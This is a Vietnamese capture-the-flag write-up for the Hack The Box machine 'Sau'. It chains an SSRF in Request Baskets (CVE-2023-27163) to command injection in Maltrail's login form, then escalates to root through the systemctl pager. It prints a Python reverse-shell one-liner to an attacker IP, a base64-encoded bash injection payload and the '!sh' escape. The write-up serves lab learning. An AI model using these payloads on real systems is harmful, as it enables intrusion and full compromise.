+2

[Write-up] HACKTHEBOX Machine: Sau - SSRF to Command Injection

Giới thiệu

Machine Sau là 1 máy có mức độ Easy trong Hackthebox, tuy nhiên để có thể hoàn thành được bài này chúng ta cần phải có kỹ năng tìm kiếm thông tin về các CVE mới được phát hiện gần đây, sau khi tìm kiếm được thông tin thì cũng cần hiểu cách mà lỗ hổng đó hoạt động như thế nào và khai thác ra sao. Như vậy machine này rất đáng để chúng ta làm và trải nghiệm.

1. Recon

Đầu tiên khi khai thác bất kỳ máy nào chúng ta sẽ thực hiện Nmap để kiểm tra các dịch vụ đang chạy trên server

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS 10.10.11.224
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-18 02:55 EST
Nmap scan report for 10.10.11.224
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
55555/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 22.85 seconds

Hệ thống mở 1 cổng 22 ssh, 80 http bị filter và 55555 không xác định

2. Exploit

Truy cập vào port 55555 ta được

image.png

Đây là ứng dụng requests-baskets ver 1.2.1. Requests-baskets là một ứng dụng web được xây dựng để nhận các requests, được gọi là basket. Khi tạo, người dùng có thể chỉ định một máy chủ khác để chuyển tiếp yêu cầu. Vấn đề ở đây là người dùng có thể chỉ định bất cứ các dịch vụ nào tuỳ ý, chẳng hạn như các ứng dụng bị chặn truy cập với người dùng bên ngoài. Nó hoạt động giống như là webhooks, requestrepo, ...

Search trên google thì có CVE về request-baskets: https://github.com/entr0pie/CVE-2023-27163/tree/main

Nó bị dính lỗi SSRF cho phép ta truy cập đến cổng 80 của server đã bị chặn với người dùng bên ngoài. Thực hiện khai thác mã khai thác có sẵn

┌──(kali㉿kali)-[~]
└─$ ./CVE-2023-27163.sh http://10.10.11.224:55555 http://127.0.0.1:80      
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163

> Creating the "wltqwb" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/wltqwb now makes the server request to http://127.0.0.1:80.
> Authorization: 0oXiXiXcIftnHeBqA9mb7nP4kysO9Xm_iZCUA_azEgdC

Truy cập http://10.10.11.224:55555/wltqwb ta có thể truy cập được cổng 80, ứng dụng là matrail

image.png

Sau khi thực hiện directory scan ta được đường dẫn /index truy cập vào http://10.10.11.224:55555/wltqwb/index ta được 1 trang đăng nhập:

image.png

Sau khi research thì phiên bản Maltrail v0.53 này bị dính Command injection thông qua login page ở phần username input, dưới đây là phần code bị lỗi cụ thể ở parameter: shell=True

subprocess.check_output("logger -p auth.info -t \"%s[%d]\" \"%s password for %s from %s port %s\""
 % (NAME.lower(), os.getpid(),"Accepted" if valid else "Failed", params.get("username"),
 self.client_address[0], self.client_address[1]), stderr=subprocess.STDOUT, shell=True)

Dưới đây là đoạn code reverse shell

export RHOST="10.10.16.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Base64 Encode và nhập vào username

;`echo+"ZXhwb3J0IFJIT1NUPSIxMC4xMC4xNi4xMCI7ZXhwb3J0IFJQT1JUPTQ0NDQ7cHl0aG9uIC1jICdpbXBvcnQgc3lzLHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KChvcy5nZXRlbnYoIlJIT1NUIiksaW50KG9zLmdldGVudigiUlBPUlQiKSkpKTtbb3MuZHVwMihzLmZpbGVubygpLGZkKSBmb3IgZmQgaW4gKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL2Jhc2giKSc"|base64+-d|bash`;

Thực hiện lắng nghe và đang truy cập thành công image.png

Sử dụng sudo -l

image.png

Nó cho phép chạy /usr/bin/systemctl status trail.service với quyền sudo mà không cần nhập password

Sau 1 hồi reseach ở trên đây

Thực hiện như sau:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!sh
!sshh!sh
# whoami 
whoami
root

3. Recomendation

  • Cập nhật bản mới của Request Baskets
  • Cập nhật bản mới của Maltrail. Nhà phát triển đã fix lỗi nãy, phần so sánh có thể xem ở đây

4. Reference

[1]. Maltrail-v0.53 POC: https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/README.md

[2]. Request Baskets CVE: https://github.com/entr0pie/CVE-2023-27163/tree/main


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.